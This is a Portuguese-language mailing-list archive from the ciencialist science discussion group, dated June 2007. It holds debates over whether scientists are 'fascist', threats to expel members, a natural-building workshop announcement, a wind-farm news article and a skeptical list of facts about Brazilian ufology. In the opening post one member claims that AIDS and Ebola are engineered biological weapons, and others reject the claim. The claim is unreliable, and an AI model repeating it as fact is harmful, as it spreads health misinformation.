alcançam? Enquanto isso as pessoas morrem de aids, de ebola, porque a
ciencia quer me convencer que essas doenças vieram da natureza. Sabe homero,
tem coisa que não dá pra depositar credulidade, você é estudado não é um
ignorante e sabe que essas coisas existem e são armas biológicas...um dia
tudo vai ir a tona e vamos ver quem tem razão, os senhores sábios ou os
malucos eu sinceramente, prefiro ser maluco do que ter respostas já
fabricadas por outras pessoas...

sinceramente sds
Amauri

Em 22/06/07, Oraculo <oraculo@atibaia.com.br> escreveu:
>
> Olá Amauri
>
> Amauri: "Já que estamos entrando nesse escopo, por que nenhum cientista
> admite que está errado e tenta pesquisar sobre? Abrir a cabeça é questão de
> inteligência, sabia? :-)"
>
> PQP!!!! NENHUM cientista admite que está errado e não tentam pesquisar
> sobre??!?!?! Fala sério, Amauri, o que acha que produziu tudo o que vê a sua
> volta??!!. Como pensa que deixamos, por exemplo, os miasmas maléficos
> causadores de doenças, e passamos a microbiologia, que permitiu que nossa
> espectativa de vida ultrapassasse os 80 anos (quando nossos antepassados
> tinham uma espectativa de vida de menos de 30 anos)???
>
> Acho que nem se abrimos sua cabeça com uma serra, ajudaria em alguma
> coisa..:-)
>
> Abrir a cabeça não deve ser levado tão longe a ponto de deixar cair o
> cérebro para fora (o que parece ter acontecido com você..:-).
>
> Estas discussões com você, aqui e em outras listas, é extremamente
> desgatante, pois como nunca consegue entender nada do que é escrito, ficamos
> a girar em conversas circulares, acusações sem conteúdo ou base e maluquices
> diversas.
>
> Amauri, o computador que usa para escrever todas essas bobagens é fruto
> direto da mente aberta de cientistas, de seu esforço em pesquisar sobre, na
> admissão de caminhos errados, que são abandonados por novos caminhos mais
> produtivos, etc, etc. Sua sobrevivência, seu atual conforto apesar da
> deficiência, a possibilidade de viver mais e melhor, tudo enfim a sua volta,
> refuta e contradiz sua alegação tola e preconceituosa. Neste momento,
> milhares de cientistas pelo mundo todo lutam para pesquisar sobre, descobrir
> erros e enganos, criar novos conhecimentos, e isso tudo apesar da relutância
> do resto da humanidade em abrir mão de suas crenças solidificadas e seus
> preconceitos sem base.
>
> Sinal de inteligência, Amauri, é compreender os argumentos que são
> apresentados, ser capaz de avaliar as evidências disponíveis, e não ficar
> falando bobagens em listas de discussão para puxar briga com "os malvados e
> tolos cientistas".
>
> Homero
>
>
> ----- Original Message -----
> From: Amauri Voltaire
> To: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Sent: Friday, June 22, 2007 4:16 PM
> Subject: Re: [ciencialist] P/ Amauri - P/ JC - Re: Mapa e território
>
> Olá Homero,
>
> Já que estamos entrando nesse escopo, por que nenhum cientista admite que
> está errado e tenta pesquisar sobre? Abrir a cabeça é questão de
> inteligência, sabia? :-)
>
> sds
>
> Em 22/06/07, Oraculo <oraculo@atibaia.com.br <oraculo%40atibaia.com.br>>
> escreveu:
> >
> > Olá Amauri
> >
> > Amauri: "Por que todo cientista é fascista?"
> >
> > Eles não são. Facismo é uma ideologia, e cientistas, como seres humanos,
> > são tanto fascistas quanto marxistas, centro-direitistas, democratas,
> > socialistas, etc, etc.
> >
> > Já a ciência não é nem fascista nem mais nada, já que não tem a ver com
> > ideologias. Mas ela também não é democrática (ou coisa do tipo), pois
> não é
> > uma questão de voto, escolha ou decisão popular. São fatos e evidências
> que
> > a sustentam, uma forma de conhecer e entender os mecanismos e processos
> > deste universo, e de descreve-los com correção e confiabilidade.
> >
> > Você só fala asneiras, e é um direito seu. Mas nada do que diga, nesse
> > sentido, afeta ou se relaciona com a ciência. Conhecimento científico
> > simplesmente não liga para o que você gosta, acha ou deixa de achar. Por
> > isso as vezes esse conhecimento parece doloroso, por confrontar seus
> desejos
> > e crenças, por desafiar sua visão subjetiva de mundo, de como o mundo
> > "deveria ser".
> >
> > Suas mensagens me lembram a piada sobre a cidade do interior onde a
> camara
> > de vereadores queria porque queria construir a nova caixa d´agua da
> cidade
> > em um terreno na parte baixa da cidade. Entretanto, acessores tentaram
> > esclarecer que isso não seria possível, pois a lei da gravidade impedia
> que
> > a caixa fosse instalada neste local.
> >
> > Sem problemas, os vereadores revogaram, "a nível municipal", a tal "lei
> da
> > gravidade"..:-)
> >
> > Não há algo como ser "politicamente correto" em ciência, e não há como
> ser
> > mais ou menos fascista em termos de conhecimento científico. Não vamos
> levar
> > sua "opinião" em consideração, a não ser que possa defende-la com fatos,
> > dados, estudos e evidências. Ser "cadeirante", ser deficiente, ser mais
> > bonzinho, ser minoria, ser uma ótima pessoa, ser quase um santo, ser
> quase
> > um demonio, de direita, de esquerda, de centro, etc, nada disso torna
> suas
> > alegações mais aceitáveis ou passíveis de maior consideração.
> >
> > A ciência é dura, rigorosa e implacável com alegações, mas só assim é
> que
> > ela pode manter sua eficácia e sua capacidade de criar conhecimento
> > confiável.
> >
> > Homero
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
> >
> >
>
> --
>
> Meu blog:
> http://masterofdarkness.multiply.com/journal
>
> É só se cadastrar nos link abaixo:
>
> http://www.publipt.com/pages/index.php?refid=avoltaire
>
> "Se vc não tem atitude, mantenha pelo menos a palavra!"
>
> ("Quem quer que haja construído um novo céu, só no seu próprio inferno
> encontrou energia para fazê-lo!" Nietszche)
>
> "Não importa o que fizeram a você.
> O que importa é o que você faz com
> aquilo que fizeram para você".
>
> Jean-Paul Sartre (1905-1980)
> Filósofo francês
>
> [As partes desta mensagem que não continham texto foram removidas]
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>

--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire

"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ JC - Re: Mapa e território
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/06/2007 17:32

Moary:

Fascismo é apenas uma ideologia política nascida na Itália e encabeçada pelo Mussolini. Curiosamente, foi hostil a todas as classes, principalmente com o marxismo, foi apenas um fenômeno episódico.

Agora, ciência é qualquer conhecimento que inclua, em qualquer forma ou medida, uma garantia de sua própria validade.

Não consigo perceber a analogia que vs,. criou sem nenhum lastro.

uma boa tarde,

silvio.

Amauri Voltaire (!!) wrote: in [ciencialist]

. Quero me desculpar, cientistas não são fascistas, apenas querem o bem da
humanidade é tudo bonzinho...:-)

ta bom assim?

sds

Em 22/06/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Amauri Voltaire "
> > Foi só uma pergunta, embora, respondida a altura de tais
> > fascistas...:-)
>
> Não foi só uma pergunta. Uma simples pergunta seria: "cientistas são
> fascistas?". Uma pergunta do tipo: "por que todo cientista é
> fascista?" implica em admitir a priori q todos os cientistas são
> fascistas.
>
> É tão ofensivo qto a perguntar: "Por q o Amauri é tão burro?"
>
> Vc tem então até a próxima mensagem para se desculpar ou será
> eliminado do grupo.
>
> []s,
>
> Roberto Takata



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Mapa e território
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/06/2007 18:30

Fala Ferrari,

>
>A ciencia não tem nada a ver com
> pressupostos nem com enganos. Isto é pro cientista. A
> ciencia (em si) nunca erra, nunca se engana. Quem se
> engana é o cientista. Não existe enganos na natureza,
> graças ao território. Só existe engano na observação,
> no mapa, na cabeça do cientista. Eis ai um pressuposto
> fundamental, mas que grande partes dos fisicos
> insistem em ignorar.
>

A ciência é que é mapa, e a natureza o território. A natureza é o que é,
independente do que acreditamos ou desejamos que seja. Os cientistas vão
tentando criar mapas da natureza (ciências) começando a rabiscá-los com
observações, criando hipóteses (refutáveis) para tentar ligar alguns pontos,
fazendo experimentos para verificar se o mapa está ficando bom (pra não
dizer "correto") e depois, se as hipóteses passaram nos testes, podem tentar
deduzir o resto do mapa (o que pode, ainda ser verificado novamente)... É
tudo o que podemos fazer pra tentar entender a natureza... Que não foi feita
para nós e, inclusive, existiu e continuará existindo sem nós.

[]´,s
Jeff.






SUBJECT: BioConstruindo 2007 - Superadobe
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 23/06/2007 19:50

Vejam o link: http://www.ecocentro.org/bioconstruindo/superadobe.html
Muito bem bolado!
E.

-----


Ecocentro IPEC <mailing@ecocentro.org> escreveu:
Caso você não esteja visualizando corretamente o email abaixo, clique
<http://www.ecocentro.org/mailing/bio01/> aqui.

BioConstruindo 2007

De 21 a 29 de julho, no Ecocentro IPEC
www.bioconstruindo.com.br

O BioConstruindo 2007 está chegando! Dentro de aproximadamente 1 mês
acontecerá, aqui no Ecocentro IPEC, o maior evento da construção natural
daAmérica Latina! Serão dezenas de técnicas de construção de baixo
impacto <http://www.ecocentro.org/bioconstruindo/oficinas.html>
(veja quadro no final da página) e muitos
<http://www.ecocentro.org/bioconstruindo/instrutores.html> instrutores
convidados.
Visite o site do evento: www.bioconstruindo.com.br
<http://www.ecocentro.org/bioconstruindo>
Agora, saiba mais sobre uma da técnicas que você vai dominar após
participar do BioConstruindo:

SUPERADOBE
Saiba mais sobre esta técnica de construção de baixo custo e baixo
impacto ambiental!
A técnica do superadobe foi desenvolvida nos anos 80 pelo iraniano,
radicado nos Estados Unidos, Nader Khalili. As paredes são erguidas
simplesmente com sacos preenchidos com subsolo. As construções feitas
com esta técnica são sólidas como uma rocha, podendo resistir até a
terremotos. São, também, construções com grande isolamento térmico.
O superadobe é, talvez, a maneira mais simples de construir com terra,
pois não é necessário fazer qualquer teste com o material, não é preciso
peneirar a terra, nem moldá-la e nem acrescentar palha. As paredes são
erguidas muito rapidamente, mas é preciso ter uma equipe de pelo menos
cinco pessoas.

superadobe www.ecocentro.org
<http://www.ecocentro.org/bioconstruindo/artigos_imagens/foto1.jpg>

Sistema Construtivo
O superadobe necessita de ferramentas simples para sua execução:
- um pedaço de cano que servirá como funil (tubo de PVC de 250 mm é o
ideal)
- pedaços de sacos de polipropileno (servem também sacos de adubo),
- soquetes
- arame farpado (colocado entre as camadas)
- baldes
- marretas de borracha para aprumar as fiadas.

O saco usado para erguer as paredes é um grande rolo de polipropileno
(bobina) com aproximadamente 50 cm de largura. O rolo é cortado em
pedaços do comprimento da parede a ser construída, deixando-se uma
pequena sobra em cada ponta para fazer o acabamento.
<http://www.ecocentro.org/bioconstruindo/superadobe.html> Leia o
restante da matéria clicando aqui.
O superadobe será uma das técnicas de construção natural praticadas no
BioConstruindo 2007!
Veja as - muitas! - outras:

no BioConstruindo 2007, você vai fazer:

Adobe <http://www.ecocentro.org/bioconstruindo/adobe.html>
Aquecedor Solar <http://www.ecocentro.org/bioconstruindo/asbc.html> de
Baixo Custo
<http://www.ecocentro.org/bioconstruindo/biocombustivel.html>
BioCombustível
Cob <http://www.ecocentro.org/bioconstruindo/cob.html>
Fardos de <http://www.ecocentro.org/bioconstruindo/fardos.html> Palha
Ferrocimento <http://www.ecocentro.org/bioconstruindo/ferrocimento.html>
<http://www.ecocentro.org/bioconstruindo/asbc.html>
Geobiologia <http://www.ecocentro.org/bioconstruindo/geobiologia.html>
Mosaicos <http://www.ecocentro.org/bioconstruindo/mosaicos.html>
<http://www.ecocentro.org/bioconstruindo/taipa_pilao.html>
Taipa de Pilão
Taipa <http://www.ecocentro.org/bioconstruindo/taipa_leve.html> Leve
Tratores <http://www.ecocentro.org/bioconstruindo/tratores_vivos.html>
Vivos
Rebocos <http://www.ecocentro.org/bioconstruindo/rebocos.html> Naturais
Papel Reciclado <http://www.ecocentro.org/bioconstruindo/papel.html>
Sanitário <http://www.ecocentro.org/bioconstruindo/sanitario.html>
Compostável
Superadobe <http://www.ecocentro.org/bioconstruindo/superadobe01.html>
Tijolos de Solocimento
<http://www.ecocentro.org/bioconstruindo/solocimento.html>
Sabão Caseiro

<http://www.ecocentro.org/bioconstruindo> bioconstruindo 2007


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: those who have no need for gods and some who have no need for the supernatural
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/06/2007 19:58

Tem campanha e tudo...

http://www.celebatheists.com/index.php?title=Main_Page


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: *BR* Grupo investirá R$ 3,9 bi em usina eólica
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 23/06/2007 23:08


Grupo investirá R$ 3,9 bi em usina eólica

Adriana Thomasi
Gazeta Mercantil
22/6/2007

Siif Énergies tira do papel megaprojeto que prevê sete centrais geradas pela força do vento. A Siif Énergies do Brasil, sediada em Fortaleza, começa a colocar em prática um mega-projeto para a instalação, numa primeira etapa, de sete usinas eólicas no País, com capacidade de geração total de 355 megawatts (MW) e investimentos de R$ 1,426 bilhão. Somente para o Ceará, que abrigará seis unidades, os aportes irão atingir R$ 1 bilhão, sendo 20% financiados pelo Banco do Nordeste do Brasil (BNB), 60% pela Adene (Sudene) e o restante em recursos próprios dos sócios.

O ambicioso programa conduzido pela Siif - sociedade que reúne o grupo português HLC, sediado em Lisboa, que atua na área climática, com participação de 51%, Citigroup (18,85%), Liberty Mutual (18,85%) e Black River (11,3%) - prevê investimento total no País da ordem de R$ 3,9 bilhões, aplicados até 2011, com a instalação de 15 parques no Brasil. A segunda etapa do projeto, ou seja, a instalação de mais 8 usinas, deve ter início a partir de 2009.

Os parques projetados pela companhia no Ceará têm condições de gerar 220,73MW e representam algo em torno de 44% do previsto no âmbito do Programa de Incentivo às Fontes Alternativas de Energia Elétrica (Proinfa) para o Ceará. A primeira etapa inclui ainda a usina de Quintanilha Machado, em Cabo Frio, no Rio de Janeiro, em condições de gerar 135 MW.

Pelo cronograma, três parques eólicos cearenses - Paracuru, com capacidade de geração de 23,4 MW, Canoa Quebrada (10,5 MW) e Lagoa do Mato (3,23 MW), já com obras em andamento - devem ser concluídos até dezembro deste ano. Para 2008, serão instaladas as outras três usinas: de Foz do Choro (25,2 MW), estimado para abril; de Icaraizinho (54 MW), em julho; e de Praia Formosa (104,4 MW), novembro. Para a central eólica do Rio de Janeiro, a obra está prevista para ser iniciada em setembro deste ano.
A empresa tem ainda em carteira projetos que somam mais 780 MW em geração eólica, entre Ceará e Rio Grande do Norte, não incluídos no Proinfa. Mantido esse ritmo, a companhia tende a se transformar em uma das maiores geradoras eólicas da América Latina.

"Escolhemos o Ceará por ser um estado com melhores ventos", assinala o empresário Armando de Almeida Ferreira, diretor-presidente da Siif e do HLC - que no Brasil tem participação de 50% na termelétrica CGE, de Manaus, com capacidade de 100 MW, em operação desde 2003. "O presidente da República e o Ministério de Minas e Energia não precisam ficar preocupados com licenciamentos para usina do Rio Madeira. Se necessário, em três anos, podemos fazer uma usina com as mesmas dimensões", ressalta Ferreira.

O empresário Armando de Almeida Ferreira, diretor-presidente da Siif e do HLC - com participação ainda de 50% na termelétrica CGE, de Manaus, com capacidade de 100 MW, em operação desde 2003 -, adianta que tem contratado pela Eletrobrás, por 20 anos, toda a energia gerada nos projetos desta primeira fase do Proinfa.

Nesta semana chegou ao Porto do Mucuripe, em Fortaleza, o primeiro lote de 19 aerogeradores - dentro de um total de 107 - fabricados pela empresa indiana Suzlon. Até agosto, mais 8 navios com equipamentos devem atracar no porto da Capital. Para os parques eólicos do Ceará - todos com as devidas licenças liberadas, conforme Ferreira -, a Siif encomendou do fabricante indiano as maiores turbinas já instaladas no Brasil, com potência nominal de 2,5 mil kW, cada. "Só há no mundo uma maior do que essa, que é a de 3 mil kW, da Vestas Wind Systems", diz. Os projetos incluem pás de 44 metros, sustentadas por torres de aço de 88 metros de altura, que pesam 160 toneladas. "Se colocarmos em linha reta, teremos cerca de 30 quilômetros, distância equivalente do Porto das Dunas, em Aquiraz, região metropolitana, ao bairro Aldeota, em Fortaleza".

Cerca de mil quilômetros de cabos elétricos devem ser instalados para as linhas de transmissão e conexões. "Todas as usinas ficarão conectadas ao Sistema Interligado Brasileiro", diz Ferreira, ao ponderar que a geração de energia das usinas do grupo representa 20% de tudo o que o estado consome. Segundo o empresário, uma parte vai ficar interligada às subestações da Companhia Energética do Ceará (Coelce) e outra na Companhia Hidro-Elétrica do São Francisco (Chesf). Os parques serão comandados a distância, exigindo uma equipe de 50 pessoas para manutenção, na fase operacional.

Ao tirar do papel os projetos de usinas eólicas, a Siif também sinaliza que as barreiras de índice de nacionalização de 60% exigidas pelo Proinfa podem ser vencidas - a empresa vem trabalhando nos projetos desde 1999. "Importamos apenas os aerogeradores. Torres, transformadores, aço, cabos e montagem são brasileiros". Somente na importação de aerogeradores e pás o grupo vai investir R$ 380 milhões. Segundo Ferreira, as 7 usinas eólicas projetadas pelo grupo Siif também irão contribuir para livrar o meio ambiente da carga de cerca de 600 mil toneladas de por ano.

Estimativas indicam que o potencial do litoral do Ceará em áreas aceitáveis e dentro do conceito de pré-licenciamento ambiental para produção de energia eólica alcançariam 25 mil MW. Projeções para a foz do Acaraú, na plataforma continental offshore, promissora em termos de produção, sinalizam geração entre 10 mil MW a 12 mil MW. Na região, há lâminas d'água de 5 metros a 8 metros e extensão de 5 quilômetros da costa. No Ceará, são 14 projetos no Proinfa, com a contratação de 500,53MW e investimentos de R$ 2 bilhões.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Errar é humano
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/06/2007 23:26

Putz Grila!!!
Custou um bocado para perceberem a 'mancha' que Ferrari & Cia Bela deixa na C-List.
Assim, mais uma vez peço licença a todos os listeiros para solicitar "Exclusão imediata" e apagar todas as mensagens dos arquivos da C-List no Yahoo, desses três inadequados participantes dessa lista de discussão. Excluamos essas nódoas!
Proponho aos moderadores que se faça ONTEM essas exclusões ... tal é a premência dos atos!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Nando" <nando.str@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 23 de junho de 2007 14:44
Assunto: Re: [ciencialist] Errar é humano


José Carlos Antonio wrote:

> Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
> estava errado e passo a concordar com a expulsão dos três e de tantos
> outros quantos necessário for para que essa lista volte a ser uma
> lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).

Qdo o Leo sugeriu a expulsão do Ferrari há alguns meses, não me
manifestei, mas agora concordo com a sugestão dele.
Mesmo não participando muito, leio cerca de 10% das mensagens da lista,
e com certeza posso viver sem mensagens do tipo 'dividam o um' e outras
besteiras.

Quanto aos outros usuários citados (Amauri e José Renato), não me
incomodei com nenhuma mensagem deles, mas não considero as viagens do
Ferrari adequadas pra essa lista. Venho aqui pra ler alguma coisa sobre
ciência, e não filosofia de 10ª categoria.





SUBJECT: Re: [ciencialist] Re: Mapa e território
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/06/2007 23:33

Ferrari et Cia Bela,

pega seu mapa, seu território, sua ciência, seu cientista, sua onda, seu UM, ... e toda a enxurrada de asneira que cabe na sua cabeça e enfia no seu ... mapa ou território? E, boa viagem junto aos seus!

sinceramente,
Luiz Ferraz Netto [Léo]
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 23 de junho de 2007 11:48
Assunto: [ciencialist] Re: Mapa e território


Olá Roberto!

Já que o Takata não quer conversa com o ferrari. Quem
sabe o Roberto!

Roberto >>> A prática da ciência é sempre partir do
pressuposto q de é possível estar enganado.

--- Este é o problema. A ciencia não pratica ciencia,
ela não é um ente, quem pratica ciencia é o ser
humano, o cientista. Assim, este presuposto ai não é
pra ciencia. A ciencia não tem nada a ver com
pressupostos nem com enganos. Isto é pro cientista. A
ciencia (em si) nunca erra, nunca se engana. Quem se
engana é o cientista. Não existe enganos na natureza,
graças ao território. Só existe engano na observação,
no mapa, na cabeça do cientista. Eis ai um pressuposto
fundamental, mas que grande partes dos fisicos
insistem em ignorar.


sinceramente
ferrari




SUBJECT: Seis fatos sobre a ufologia no Brasil
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 24/06/2007 00:26

Seis fatos sobre a ufologia no
Brasil<http://www.ceticismoaberto.com/news/?p=913>

Neste domingo, 24 de junho de 2007, uf�logos e entusiastas pelo mundo
comemoram um *anivers�rio*: s�o 60 anos desde que o americano Kenneth Arnold
relatou ter visto curiosos objetos voando � dist�ncia, que viriam a ser
conhecidos como *discos voadores*. A data marca o in�cio da chamada *
ufologia*, e talvez como todo anivers�rio, provoca certo ufanismo.

Compilamos assim os seis fatos abaixo como um contraponto cr�tico a tal "*
ufonismo*". �ridos, inconvenientes, mesmo deprimentes como possam ser, n�o
deixam de ser fatos incontest�veis, e fatos especialmente destilados da
ufologia em nosso pa�s. Afinal, a senhora ufologia n�o precisa esconder sua
idade ou, no caso, uma lista t�o pequena de seis simples fatos.

Esta lista deve ser seguida na pr�xima semana por uma s�rie de seis fatos
sobre a ufologia no mundo, celebrando o anivers�rio do caso Roswell. *Memento
mori*!

*
*
*Fato 1*

* Boa parte dos uf�logos brasileiros admite n�o haver provas de visitas
extraterrestres.*

Os principais uf�logos brasileiros em atividade hoje defendem a exist�ncia
de um fen�meno intrigante com casos inexplicados, mas admitem a aus�ncia de
provas concretas a respeito de sua origem extraterrestre. Em outras
palavras, muitos uf�logos no Brasil andam com os p�s no ch�o. Da Terra.

Claudeir Covo<http://www.cubbrasil.net/index.php?option=com_content&task=view&id=47&Itemid=35>,
um dos uf�logos mais reconhecidos no meio, � claro: "*Ainda n�o existe uma
comprova��o cient�fica para isso*".

J� Ubirajara Rodrigues<http://www.cubbrasil.net/index.php?option=com_content&task=view&id=46&Itemid=35>,
respeitado e bem conhecido por sua investiga��o do chamado "caso Varginha",
se estende ao explicar que "*entre vida, vida inteligente e vida que atingiu
um est�gio inimagin�vel de aquisi��o tecnol�gica, existe uma dist�ncia t�o
grande de complexidade cient�fica e filos�fica, que nem sequer ainda
sonhamos estar em condi��es de fazermos qualquer afirma��o sobre elas. Que
dir�, ent�o, de partirmos para afirmar que UFOs sejam naves de origens
c�smicas�*".

Entre uf�logos mais jovens, mas n�o menos ativos, o reconhecimento da
aus�ncia de provas cient�ficas conclusivas tamb�m � um fato consumado. "*N�o
existe nenhuma prova ou evid�ncias concretas *[da rela��o entre OVNIs e a
atividade de "intelig�ncias extraterrestres"]", assegura Rog�rio
Chola<http://www.cubbrasil.net/index.php?option=com_content&task=view&id=43&Itemid=35>.
Reinaldo Stabolito<http://www.cubbrasil.net/index.php?option=com_content&task=view&id=45&Itemid=35>alerta
que n�o "
*temos como saber se o fen�meno UFO s�o mesmo ve�culos espaciais de
extraterrestres. Ent�o, quando falam sobre 'ETS', nada mais fazem do que
projetar nossas expectativas, desejos e at� car�ter nos supostos
extraterrestres. Pior, aproveitando-se dessa inc�gnita sobre o fen�meno,
muita gente explora a f� das pessoas alegando contatos extraordin�rios
inexistentes*".

Poder�amos citar mais alguns uf�logos ativos, mas por certo, h� "uf�logos"
que n�o hesitam em afirmar o contr�rio. Um deles � Ademar Gevaerd.

*
*
*Fato 2*

* O editor da revista brasileira "UFO", Ademar Gevaerd, simplesmente fugiu
do compromisso assumido publicamente de apresentar um �nico caso que
evidenciasse a exist�ncia de vida inteligente fora da Terra.*

No dia 21 de setembro de 2004, Gevaerd *comprometeu-se publicamente* a
"*escolher
um caso que, a seu crit�rio, ofere�a as melhores evid�ncias da exist�ncia de
vida inteligente fora da Terra*", oferecendo documenta��o relacionada que
seria analisada pela comunidade cient�fica, representada por cinco
cientistas independentes "*das principais universidades brasileiras (como a
USP, a PUC-SP e a UNICAMP), de diferentes �reas do conhecimento*".

Oito dias depois de selar seu compromisso, Ademar Gevaerd simplesmente o
abandonou. "*N�o me sinto na obriga��o de oferecer provas de que os UFOs
existem a quem quer que seja*", declarou em uma surpreendente mensagem
p�blica. Mais curioso ainda foi o fato de Gevaerd ter citado como incentivo
� sua desist�ncia as palavras do uf�logo Carlos Reis:

"*Eu sei, voc� [Gevaerd] sabe e muita gente tamb�m sabe que a ufologia �
fr�gil, n�s n�o trabalhamos com provas, mas com ind�cios significativos de
que estamos lidando com um fen�meno de natureza desconhecida. S� isso. N�o
podemos afirmar em s� consci�ncia de que seja extraterrestre, nem podemos
falar em 'alien�genas', pois s�o apenas suposi��es, teorias, hip�teses,
elucubra��es�*".

*Gevaerd continua vendendo sua revista afirmando que OVNIs seriam
extraterrestres*. Segundo ele, um dos melhores casos a provar a origem
extraterrestre do fen�meno OVNI seria o "caso Varginha".

[ver "Desafio ufol�gico", Radar Ockham
n.01<http://www.projetoockham.org/boletim_01.html>
]

*
*
*Fato 3*

* Ubirajara Franco Rodrigues, primeiro e reconhecidamente principal
investigador do "caso Varginha", atenta que "o que menos existe no caso
Varginha � a presen�a alegada de um objeto voador n�o-identificado [OVNI] �
Para o caso, para que possamos afirmar que seja a apari��o, captura, naves
de outros planetas, seres extraterrestres, n�o h� dado nenhum".*

"*O que at� hoje existe de uf�logo no Brasil fazendo afirma��es sobre o caso
sem o m�nimo respaldo, informa��es truncadas, err�neas, n�o verdadeiras, a
respeito do pr�prio depoimento das testemunhas, s�o v�rios. E o que mais me
espanta, o que tenho ouvido de bobagem contra o caso � um n�mero menor que
as bobagens que eu tenho ouvido a favor, nos meios da pr�pria ufologia. �
Dos trinta uf�logos mais conhecidos no Brasil � que leram um livro de
quatrocentas p�ginas com todos os detalhes que forneci do caso, se forem
cinco estaremos sendo muito otimistas. E querem opinar sobre o caso*",
lamenta.

Estas declara��es fazem parte de sua entrevista ao "Painel OVNI
TV<http://www.painelovni.com.br/>",
e Ubirajara Rodrigues se refere ao livro "O Caso
Varginha<http://www.ufo.com.br/index.php?arquivo=biblioteca.php&id=9>",
de sua autoria, onde conclui enfaticamente que n�o se pode concluir nada a
respeito do caso dada a aus�ncia de evid�ncias concretas.

*
*
*Fato 4*

* O p�nico popular "chupa-chupa" ao fim da d�cada de 1970 na Amaz�nia n�o �
um caso �nico.*

O epis�dio � um dos principais casos "ufol�gicos" ocorridos no Brasil.
Interessados em explor�-lo como um mist�rio insol�vel - ou "alienigenamente"
sol�vel - n�o raro o elevam a uma posi��o singular, in�dita, incompar�vel.
N�o � o caso.

Relatos praticamente id�nticos ocorreram na �ndia no recente ano de 2002,
com a histeria "Muchnowa" - ou "*coisa que morde ou arranha o rosto*" em
hindi, apelido popular similar ao "chupa-chupa" brasileiro, que sugaria o
sangue de suas v�timas. Ambos fen�menos atingiram regi�es pobres e pouco
amparadas, provocando p�nico nas popula��es locais e produzindo pouca
evid�ncia concreta al�m de relatos de luzes e ataques gerando marcas como
arranh�es, cortes e queimaduras nas v�timas.


[Esquerda: V�tima de Muchnowa, �ndia, 2002. Direita: V�tima do chupa-chupa,
Brasil, 1977]

No caso indiano, a id�ia do envolvimento de seres alien�genas circulou,
embora com muito menos �nfase, talvez porque epis�dios de histeria popular
estivessem em voga. Apenas um ano antes, ataques do
"homem-macaco<http://archives.cnn.com/2001/WORLD/asiapcf/south/06/18/india.monkey/>"
aterrorizaram e provocaram mortes em tumultos. Poucos associaram o
"homem-macaco" a seres extraterrestres. De fato, especialistas apontariam o
caso como um exemplo cl�ssico de histeria popular.

[Homem-macaco, �ndia, 2001]

Qualquer que seja a explica��o �ltima ao "Muchnowa" ou ao "Chupa-chupa", �
evidente que elementos psicol�gicos e sociais ligam os dois eventos, muito
similares em todos os aspectos. As poucas evid�ncias f�sicas dispon�veis
sobre o caso brasileiro foram recolhidas � �poca por uma opera��o militar, a
chamada "Opera��o Prato".

*
*
*Fato 5*

* "Nossos registros cine-fotogr�ficos n�o retratam nossa certeza [de que os
corpos e luzes s�o "inteligentemente dirigidos"], pois muito carentes de
recursos t�cnicos, material e pessoal, deixou a desejar. Nas demais vezes
perdemos a oportunidade, fotografando com material inadequado; acreditamos
que com melhores recursos possamos chegar ao razoavelmente satisfat�rio",
conclui um relat�rio de setembro de 1977 da "Opera��o Prato", que
investigava o chamado fen�meno "chupa-chupa". Isto �, admite-se a aus�ncia
de evid�ncia f�sica satisfat�ria.*

Por que tanta precariedade? De acordo com o comando da For�a A�rea, a
opera��o teria sido em verdade resultado do interesse pessoal sobre o tema
de alguns militares. O pr�prio coronel Uyrang� Hollanda, comandante da
opera��o, lembrou que "*foi uma felicidade estar no 1� COMAR, naquela �poca,
naquela regi�o, um oficial da Aeron�utica, um brigadeiro, que acreditava em
discos voadores. Tivesse sido outro oficial, outro brigadeiro, talvez a
opera��o n�o tivesse sa�do*".

